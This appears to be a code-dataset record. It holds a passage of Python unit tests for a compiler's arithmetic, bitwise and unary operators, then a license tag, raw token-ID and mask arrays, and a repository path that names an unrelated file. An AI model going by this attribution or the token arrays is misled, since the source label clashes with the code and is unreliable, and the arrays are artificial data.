self.op.mul_usecase x_operands = [1+0j, 1j, -1-1j] y_operands = [1, 2, 3] types_list = [(types.complex64, types.complex64), (types.complex128, types.complex128),] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def test_mul_complex_npm(self): self.test_mul_complex(flags=Noflags) def test_div_complex(self, flags=force_pyobj_flags): pyfunc = self.op.div_usecase x_operands = [1+0j, 1j, -1-1j] y_operands = [1, 2, 3] types_list = [(types.complex64, types.complex64), (types.complex128, types.complex128),] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def test_div_complex_npm(self): self.test_div_complex(flags=Noflags) def test_truediv_complex(self, flags=force_pyobj_flags): pyfunc = self.op.truediv_usecase x_operands = [1+0j, 1j, -1-1j] y_operands = [1, 2, 3] types_list = [(types.complex64, types.complex64), (types.complex128, types.complex128),] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def test_truediv_complex_npm(self): self.test_truediv_complex(flags=Noflags) def test_mod_complex(self, flags=force_pyobj_flags): pyfunc = self.op.mod_usecase with self.assertTypingError(): cres = compile_isolated(pyfunc, (types.complex64, types.complex64)) def test_mod_complex_npm(self): self.test_mod_complex(flags=Noflags) # # Bitwise operators # def run_bitshift_left(self, pyfunc, flags=force_pyobj_flags): x_operands = [0, 1] y_operands = [0, 1, 2, 4, 8, 16, 31] types_list = [(types.uint32, types.uint32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0, 1] y_operands = [0, 1, 2, 4, 8, 16, 32, 63] types_list = [(types.uint64, types.uint64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0, -1] y_operands = [0, 1, 2, 4, 8, 16, 31] types_list = [(types.int32, types.int32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0, -1] y_operands = [0, 1, 2, 4, 8, 16, 32, 63] types_list = [(types.int64, types.int64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_bitshift_array(self, pyfunc, flags=force_pyobj_flags): array = np.arange(0, 10, dtype=np.int32) x_operands = [array[:-1]] y_operands = [array[1:]] arraytype = types.Array(types.int32, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) generate_binop_tests(locals(), ('bitshift_left', 'bitshift_ileft'), {'ints': 'run_bitshift_left', 'ints_array': 'run_bitshift_array', }) def run_bitshift_right(self, pyfunc, flags=force_pyobj_flags): x_operands = [0, 1, 2**32 - 1] y_operands = [0, 1, 2, 4, 8, 16, 31] types_list = [(types.uint32, types.uint32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0, 1, 2**64 - 1] y_operands = [0, 1, 2, 4, 8, 16, 32, 63] types_list = [(types.uint64, types.uint64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0, 1, -(2**31)] y_operands = [0, 1, 2, 4, 8, 16, 31] types_list = [(types.int32, types.int32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0, -1, -(2**31)] y_operands = [0, 1, 2, 4, 8, 16, 32, 63] types_list = [(types.int64, types.int64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) generate_binop_tests(locals(), ('bitshift_right', 'bitshift_iright'), {'ints': 'run_bitshift_right', 'ints_array': 'run_bitshift_array', }) def run_logical(self, pyfunc, flags=force_pyobj_flags): x_operands = list(range(0, 8)) + [2**32 - 1] y_operands = list(range(0, 8)) + [2**32 - 1] types_list = [(types.uint32, types.uint32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = list(range(0, 8)) + [2**64 - 1] y_operands = list(range(0, 8)) + [2**64 - 1] types_list = [(types.uint64, types.uint64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = list(range(-4, 4)) + [-(2**31), 2**31 - 1] y_operands = list(range(-4, 4)) + [-(2**31), 2**31 - 1] types_list = [(types.int32, types.int32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = list(range(-4, 4)) + [-(2**63), 2**63 - 1] y_operands = list(range(-4, 4)) + [-(2**63), 2**63 - 1] types_list = [(types.int64, types.int64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_logical_array(self, pyfunc, flags=force_pyobj_flags): dtype = np.int32 array = np.concatenate([ np.array([-(2**31), 2**31 - 1], dtype=dtype), np.arange(-10, 10, dtype=dtype), ]) x_operands = [array[:-1]] y_operands = [array[1:]] arraytype = types.Array(types.int32, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) generate_binop_tests(locals(), ('bitwise_and', 'bitwise_iand', 'bitwise_or', 'bitwise_ior', 'bitwise_xor', 'bitwise_ixor'), {'ints': 'run_logical', 'ints_array': 'run_logical_array', }) # # Unary operators # def test_bitwise_not(self, flags=force_pyobj_flags): pyfunc = self.op.bitwise_not_usecase_binary x_operands = list(range(0, 8)) + [2**32 - 1] x_operands = [np.uint32(x) for x in x_operands] y_operands = [0] types_list = [(types.uint32, types.uint32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = list(range(-4, 4)) + [-(2**31), 2**31 - 1] y_operands = [0] types_list = [(types.int32, types.int32)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = list(range(0, 8)) + [2**64 - 1] x_operands = [np.uint64(x) for x in x_operands] y_operands = [0] types_list = [(types.uint64, types.uint64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = list(range(-4, 4)) + [-(2**63), 2**63 - 1] y_operands = [0] types_list = [(types.int64, types.int64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) def test_bitwise_not_npm(self): self.test_bitwise_not(flags=Noflags) def test_not(self): pyfunc = self.op.not_usecase values = [ 1, 2, 3, 1.2, 3.4j, ] cres = compile_isolated(pyfunc, (), flags=force_pyobj_flags) cfunc = cres.entry_point for val in values: self.assertEqual(pyfunc(val), cfunc(val)) def test_not_npm(self): pyfunc = self.op.not_usecase # test native mode argtys = [ types.int8, types.int32, types.int64, types.float32, types.complex128, ] values = [ 1, 2, 3, 1.2, 3.4j, ] for ty, val in zip(argtys, values): cres = compile_isolated(pyfunc, [ty]) self.assertEqual(cres.signature.return_type, types.boolean) cfunc = cres.entry_point self.assertEqual(pyfunc(val), cfunc(val)) # XXX test_negate should check for negative and positive zeros and infinites def test_negate_npm(self): pyfunc = self.op.negate_usecase # test native mode argtys = [ types.int8, types.int32, types.int64, types.float32, types.float64, types.complex128, ] values = [ 1, 2, 3, 1.2, 2.4, 3.4j, ] for ty, val in zip(argtys, values): cres = compile_isolated(pyfunc, [ty]) cfunc = cres.entry_point self.assertAlmostEqual(pyfunc(val), cfunc(val)) def test_negate(self): pyfunc = self.op.negate_usecase values = [ 1, 2, 3, 1.2, 3.4j, ] cres = compile_isolated(pyfunc, (), flags=force_pyobj_flags) cfunc = cres.entry_point for val in values: self.assertEqual(pyfunc(val), cfunc(val)) def test_unary_positive_npm(self): pyfunc = self.op.unary_positive_usecase # test native mode argtys = [ types.int8, types.int32, types.int64, types.float32, types.float64, types.complex128, ] values = [ 1, 2, 3, 1.2, 2.4, 3.4j, ] for ty, val in zip(argtys, values): cres = compile_isolated(pyfunc, [ty]) cfunc = cres.entry_point self.assertAlmostEqual(pyfunc(val), cfunc(val)) def test_unary_positive(self): pyfunc = self.op.unary_positive_usecase values = [ 1, 2, 3, 1.2, 3.4j, ] cres = compile_isolated(pyfunc, (), flags=force_pyobj_flags) cfunc = cres.entry_point for val in values: self.assertEqual(pyfunc(val), cfunc(val)) class TestOperatorModule(TestOperators): op = FunctionalOperatorImpl class TestMixedInts(TestCase): """ Tests for operator calls with mixed integer types. """ op = LiteralOperatorImpl int_samples = [0, 1, 3, 10, 42, 127, 10000, -1, -3, -10, -42, -127, -10000] int_types = [types.int8, types.uint8, types.int64, types.uint64] signed_types = [tp for tp in int_types if tp.signed] unsigned_types = [tp for tp in int_types if not tp.signed] type_pairs = list(itertools.product(int_types, int_types)) signed_pairs = [(u, v) for u, v in type_pairs if u.signed or v.signed] unsigned_pairs = [(u, v) for u, v in type_pairs if not (u.signed or v.signed)] def get_numpy_signed_upcast(self, *vals): bitwidth = max(v.dtype.itemsize * 8 for v in vals) bitwidth = max(bitwidth, types.intp.bitwidth) return getattr(np, "int%d" % bitwidth) def get_numpy_unsigned_upcast(self, *vals): bitwidth = max(v.dtype.itemsize * 8 for v in vals) bitwidth = max(bitwidth, types.intp.bitwidth) return getattr(np, "uint%d" % bitwidth) def get_typed_int(self, typ, val): return getattr(np, typ.name)(val) def get_control_signed(self, opname): op = getattr(operator, opname) def control_signed(a, b): tp = self.get_numpy_signed_upcast(a, b) return op(tp(a), tp(b)) return control_signed def get_control_unsigned(self, opname): op = getattr(operator, opname) def control_unsigned(a, b): tp = self.get_numpy_unsigned_upcast(a, b) return op(tp(a), tp(b)) return control_unsigned def run_binary(self, pyfunc, control_func, operands, types, expected_type=utils.INT_TYPES, **assertPreciseEqualArgs): if pyfunc is NotImplemented: self.skipTest("test irrelevant on this version of Python") for xt, yt in types: cr = compile_isolated(pyfunc, (xt, yt), flags=Noflags) cfunc = cr.entry_point for x, y in itertools.product(operands, operands): # Get Numpy typed scalars for the given types and values x = self.get_typed_int(xt, x) y = self.get_typed_int(yt, y) expected = control_func(x, y) got = cfunc(x, y) self.assertIsInstance(got, expected_type) msg = ("mismatch for (%r, %r) with types %s" % (x, y, (xt, yt))) self.assertPreciseEqual(got, expected, msg=msg, **assertPreciseEqualArgs) def run_unary(self, pyfunc, control_func, operands, types, expected_type=utils.INT_TYPES): if pyfunc is NotImplemented: self.skipTest("test irrelevant on this version of Python") for xt in types: cr = compile_isolated(pyfunc, (xt,), flags=Noflags) cfunc = cr.entry_point for x in operands: x = self.get_typed_int(xt, x) expected = control_func(x) got = cfunc(x) self.assertIsInstance(got, expected_type) self.assertTrue(np.all(got == expected), "mismatch for %r with type %s: %r != %r" % (x, xt, got, expected)) def run_arith_binop(self, pyfunc, opname, samples, expected_type=utils.INT_TYPES): self.run_binary(pyfunc, self.get_control_signed(opname), samples, self.signed_pairs, expected_type) self.run_binary(pyfunc, self.get_control_unsigned(opname), samples, self.unsigned_pairs, expected_type) def test_add(self): self.run_arith_binop(self.op.add_usecase, 'add', self.int_samples) def test_sub(self): self.run_arith_binop(self.op.sub_usecase, 'sub', self.int_samples) def test_mul(self): self.run_arith_binop(self.op.mul_usecase, 'mul', self.int_samples) def test_floordiv(self): samples = [x for x in self.int_samples if x != 0] self.run_arith_binop(self.op.floordiv_usecase, 'floordiv', samples) def test_mod(self): samples = [x for x in self.int_samples if x != 0] self.run_arith_binop(self.op.mod_usecase, 'mod', samples) def test_pow(self): pyfunc = self.op.pow_usecase # Only test with positive values, as otherwise trying to write the # control function in terms of Python or Numpy power turns out insane. samples = [x for x in self.int_samples if x >= 0] self.run_arith_binop(pyfunc, 'pow', samples) # Now test all non-zero values, but only with signed types def control_signed(a, b): tp = self.get_numpy_signed_upcast(a, b) if b >= 0: return tp(a) ** tp(b) else: inv = tp(a) ** tp(-b) if inv == 0: # Overflow return 0 return np.intp(1.0 / inv) samples = [x for x in self.int_samples if x != 0] signed_pairs = [(u, v) for u, v in self.type_pairs if u.signed and v.signed] self.run_binary(pyfunc, control_signed, samples, signed_pairs) def test_truediv(self): def control(a, b): return truediv_usecase(float(a), float(b)) samples = [x for x in self.int_samples if x != 0] pyfunc = self.op.truediv_usecase # Note: there can be precision issues on x87 # e.g. for `1 / 18446744073709541616` # -> 0x1.0000000000002p-64 vs. 0x1.0000000000003p-64. self.run_binary(pyfunc, control, samples, self.signed_pairs, expected_type=float, prec='double') self.run_binary(pyfunc, control, samples, self.unsigned_pairs, expected_type=float, prec='double') def test_and(self): self.run_arith_binop(self.op.bitwise_and_usecase, 'and_', self.int_samples) def test_or(self): self.run_arith_binop(self.op.bitwise_or_usecase, 'or_', self.int_samples) def test_xor(self): self.run_arith_binop(self.op.bitwise_xor_usecase, 'xor', self.int_samples) def run_shift_binop(self, pyfunc, opname): opfunc = getattr(operator, opname) def control_signed(a, b): tp = self.get_numpy_signed_upcast(a, b) return opfunc(tp(a), tp(b)) def control_unsigned(a, b): tp = self.get_numpy_unsigned_upcast(a, b) return opfunc(tp(a), tp(b)) samples = self.int_samples def check(xt, yt, control_func): cr = compile_isolated(pyfunc, (xt, yt), flags=Noflags) cfunc = cr.entry_point for x in samples: # Avoid shifting by more than the shiftand's bitwidth, as # we would hit undefined behaviour. maxshift = xt.bitwidth - 1 for y in (0, 1, 3, 5, maxshift - 1, maxshift): # Get Numpy typed scalars for the given types and values x = self.get_typed_int(xt, x) y = self.get_typed_int(yt, y) expected = control_func(x, y) got = cfunc(x, y) msg = ("mismatch for (%r, %r) with types %s" % (x, y, (xt, yt))) self.assertPreciseEqual(got, expected, msg=msg) for xt, yt in self.signed_pairs: check(xt, yt, control_signed) for xt, yt in self.unsigned_pairs: check(xt, yt, control_unsigned) def test_lshift(self): self.run_shift_binop(self.op.bitshift_left_usecase, 'lshift') def test_rshift(self): self.run_shift_binop(self.op.bitshift_right_usecase, 'rshift') def test_unary_positive(self): def control(a): return a samples = self.int_samples pyfunc = self.op.unary_positive_usecase self.run_unary(pyfunc, control, samples, self.int_types) def test_unary_negative(self): def control_signed(a): tp = self.get_numpy_signed_upcast(a) return tp(-a) def control_unsigned(a): tp = self.get_numpy_unsigned_upcast(a) return tp(-a) samples = self.int_samples pyfunc = self.op.negate_usecase self.run_unary(pyfunc, control_signed, samples, self.signed_types) self.run_unary(pyfunc, control_unsigned, samples, self.unsigned_types) def test_invert(self): def control_signed(a): tp = self.get_numpy_signed_upcast(a) return tp(~a) def control_unsigned(a): tp = self.get_numpy_unsigned_upcast(a) return tp(~a) samples = self.int_samples pyfunc = self.op.bitwise_not_usecase self.run_unary(pyfunc, control_signed, samples, self.signed_types) self.run_unary(pyfunc, control_unsigned, samples, self.unsigned_types) class TestMixedIntsOperatorModule(TestMixedInts): op = FunctionalOperatorImpl if __name__ == '__main__': unittest.main()
bsd-2-clause
[ 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 1331, 199, 646, 7975, 199, 646, 4182, 199, 646, 3598, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 1967, 2470, 14, 5772, 492, 6555, 63, 21748, 12, 24870, 199, 504, 1967, 2470, 492, 2943, 12, 730, 14578, 12, 3778, 199, 504, 1967, 2470, 14, 888, 492, 7843, 4612, 199, 504, 1275, 4058, 492, 7640, 199, 504, 1967, 2470, 14, 2219, 14, 2052, 63, 3015, 63, 1180, 2546, 492, 2549, 3015, 63, 1180, 2546, 12, 652, 431, 3015, 63, 1180, 2546, 199, 646, 1967, 2470, 14, 2796, 63, 4058, 465, 2882, 199, 199, 46, 1618, 1550, 275, 24870, 342, 199, 199, 3990, 63, 29797, 63, 2469, 275, 24870, 342, 199, 3990, 63, 29797, 63, 2469, 14, 409, 480, 4296, 63, 31614, 531, 199, 199, 3990, 63, 29797, 63, 2469, 275, 24870, 342, 199, 3990, 63, 29797, 63, 2469, 14, 409, 480, 3990, 63, 31614, 531, 421, 199, 533, 18271, 7961, 4748, 8, 785, 304, 339, 768, 4639, 272, 347, 1050, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 435, 612, 339, 768, 4639, 272, 347, 284, 525, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 847, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 1007, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 446, 612, 339, 768, 4639, 272, 347, 365, 456, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 4862, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 19207, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 627, 612, 339, 768, 4639, 272, 347, 3416, 348, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 9000, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 9073, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1182, 612, 339, 768, 4639, 272, 347, 284, 3015, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 12257, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 19841, 3015, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 5001, 612, 339, 768, 4639, 272, 347, 340, 6367, 3015, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 5001, 29, 612, 267, 372, 671, 339, 2549, 3015, 63, 1180, 2546, 275, 12822, 8, 22062, 63, 1180, 2546, 9, 272, 652, 431, 3015, 63, 1180, 2546, 275, 12822, 8, 390, 431, 3015, 63, 1180, 2546, 9, 339, 768, 4639, 272, 347, 3413, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 450, 612, 339, 768, 4639, 272, 347, 284, 1494, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 450, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 13131, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1011, 612, 339, 768, 4639, 272, 347, 284, 8278, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 1011, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 4546, 4723, 63, 3039, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 5213, 612, 339, 768, 4639, 272, 347, 4546, 4723, 63, 441, 856, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 5213, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 4546, 4723, 63, 1019, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 4331, 612, 339, 768, 4639, 272, 347, 4546, 4723, 63, 73, 1019, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 4331, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 460, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1253, 612, 339, 768, 4639, 272, 347, 31927, 63, 73, 460, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 18415, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 269, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1204, 612, 339, 768, 4639, 272, 347, 31927, 63, 15499, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 8901, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 15721, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 7167, 612, 339, 768, 4639, 272, 347, 31927, 63, 1148, 269, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 31753, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 1397, 63, 1180, 2546, 63, 3008, 8, 88, 12, 485, 8618, 304, 267, 372, 6146, 88, 339, 768, 4639, 272, 347, 31927, 63, 1397, 63, 1180, 2546, 8, 88, 304, 267, 372, 6146, 88, 339, 768, 4639, 272, 347, 440, 63, 1180, 2546, 8, 88, 304, 267, 372, 440, 8, 88, 9, 339, 768, 4639, 272, 347, 30112, 63, 1180, 2546, 8, 88, 304, 267, 372, 446, 88, 339, 768, 4639, 272, 347, 21603, 63, 8965, 63, 1180, 2546, 8, 88, 304, 267, 372, 435, 88, 339, 768, 4639, 272, 347, 22146, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 665, 612, 339, 768, 4639, 272, 347, 1026, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 2695, 612, 339, 768, 4639, 272, 347, 16484, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 690, 612, 339, 768, 4639, 272, 347, 2312, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 2356, 612, 339, 768, 4639, 272, 347, 3850, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 508, 612, 339, 768, 4639, 272, 347, 1279, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1137, 612, 421, 199, 533, 6801, 279, 7961, 4748, 8, 785, 304, 339, 768, 4639, 272, 347, 1050, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 4182, 14, 525, 8, 88, 12, 612, 9, 339, 768, 4639, 272, 347, 284, 525, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 4182, 14, 28788, 8, 88, 12, 612, 9, 339, 768, 4639, 272, 347, 1007, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 4182, 14, 954, 8, 88, 12, 612, 9, 339, 768, 4639, 272, 347, 365, 456, 63, 1180, 2546, 8, 88, 12, 612, 304, 267 ]
[ 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 1331, 199, 646, 7975, 199, 646, 4182, 199, 646, 3598, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 1967, 2470, 14, 5772, 492, 6555, 63, 21748, 12, 24870, 199, 504, 1967, 2470, 492, 2943, 12, 730, 14578, 12, 3778, 199, 504, 1967, 2470, 14, 888, 492, 7843, 4612, 199, 504, 1275, 4058, 492, 7640, 199, 504, 1967, 2470, 14, 2219, 14, 2052, 63, 3015, 63, 1180, 2546, 492, 2549, 3015, 63, 1180, 2546, 12, 652, 431, 3015, 63, 1180, 2546, 199, 646, 1967, 2470, 14, 2796, 63, 4058, 465, 2882, 199, 199, 46, 1618, 1550, 275, 24870, 342, 199, 199, 3990, 63, 29797, 63, 2469, 275, 24870, 342, 199, 3990, 63, 29797, 63, 2469, 14, 409, 480, 4296, 63, 31614, 531, 199, 199, 3990, 63, 29797, 63, 2469, 275, 24870, 342, 199, 3990, 63, 29797, 63, 2469, 14, 409, 480, 3990, 63, 31614, 531, 421, 199, 533, 18271, 7961, 4748, 8, 785, 304, 339, 768, 4639, 272, 347, 1050, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 435, 612, 339, 768, 4639, 272, 347, 284, 525, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 847, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 1007, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 446, 612, 339, 768, 4639, 272, 347, 365, 456, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 4862, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 19207, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 627, 612, 339, 768, 4639, 272, 347, 3416, 348, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 9000, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 9073, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1182, 612, 339, 768, 4639, 272, 347, 284, 3015, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 12257, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 19841, 3015, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 5001, 612, 339, 768, 4639, 272, 347, 340, 6367, 3015, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 5001, 29, 612, 267, 372, 671, 339, 2549, 3015, 63, 1180, 2546, 275, 12822, 8, 22062, 63, 1180, 2546, 9, 272, 652, 431, 3015, 63, 1180, 2546, 275, 12822, 8, 390, 431, 3015, 63, 1180, 2546, 9, 339, 768, 4639, 272, 347, 3413, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 450, 612, 339, 768, 4639, 272, 347, 284, 1494, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 450, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 13131, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1011, 612, 339, 768, 4639, 272, 347, 284, 8278, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 1011, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 4546, 4723, 63, 3039, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 5213, 612, 339, 768, 4639, 272, 347, 4546, 4723, 63, 441, 856, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 5213, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 4546, 4723, 63, 1019, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 4331, 612, 339, 768, 4639, 272, 347, 4546, 4723, 63, 73, 1019, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 4331, 29, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 460, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1253, 612, 339, 768, 4639, 272, 347, 31927, 63, 73, 460, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 18415, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 269, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1204, 612, 339, 768, 4639, 272, 347, 31927, 63, 15499, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 8901, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 15721, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 7167, 612, 339, 768, 4639, 272, 347, 31927, 63, 1148, 269, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 671, 31753, 612, 267, 372, 671, 339, 768, 4639, 272, 347, 31927, 63, 1397, 63, 1180, 2546, 63, 3008, 8, 88, 12, 485, 8618, 304, 267, 372, 6146, 88, 339, 768, 4639, 272, 347, 31927, 63, 1397, 63, 1180, 2546, 8, 88, 304, 267, 372, 6146, 88, 339, 768, 4639, 272, 347, 440, 63, 1180, 2546, 8, 88, 304, 267, 372, 440, 8, 88, 9, 339, 768, 4639, 272, 347, 30112, 63, 1180, 2546, 8, 88, 304, 267, 372, 446, 88, 339, 768, 4639, 272, 347, 21603, 63, 8965, 63, 1180, 2546, 8, 88, 304, 267, 372, 435, 88, 339, 768, 4639, 272, 347, 22146, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 665, 612, 339, 768, 4639, 272, 347, 1026, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 2695, 612, 339, 768, 4639, 272, 347, 16484, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 690, 612, 339, 768, 4639, 272, 347, 2312, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 2356, 612, 339, 768, 4639, 272, 347, 3850, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 508, 612, 339, 768, 4639, 272, 347, 1279, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 671, 1137, 612, 421, 199, 533, 6801, 279, 7961, 4748, 8, 785, 304, 339, 768, 4639, 272, 347, 1050, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 4182, 14, 525, 8, 88, 12, 612, 9, 339, 768, 4639, 272, 347, 284, 525, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 4182, 14, 28788, 8, 88, 12, 612, 9, 339, 768, 4639, 272, 347, 1007, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 372, 4182, 14, 954, 8, 88, 12, 612, 9, 339, 768, 4639, 272, 347, 365, 456, 63, 1180, 2546, 8, 88, 12, 612, 304, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
KyleKing/PiAlarm
.archive-python/modules/tm1637.py
1
6795
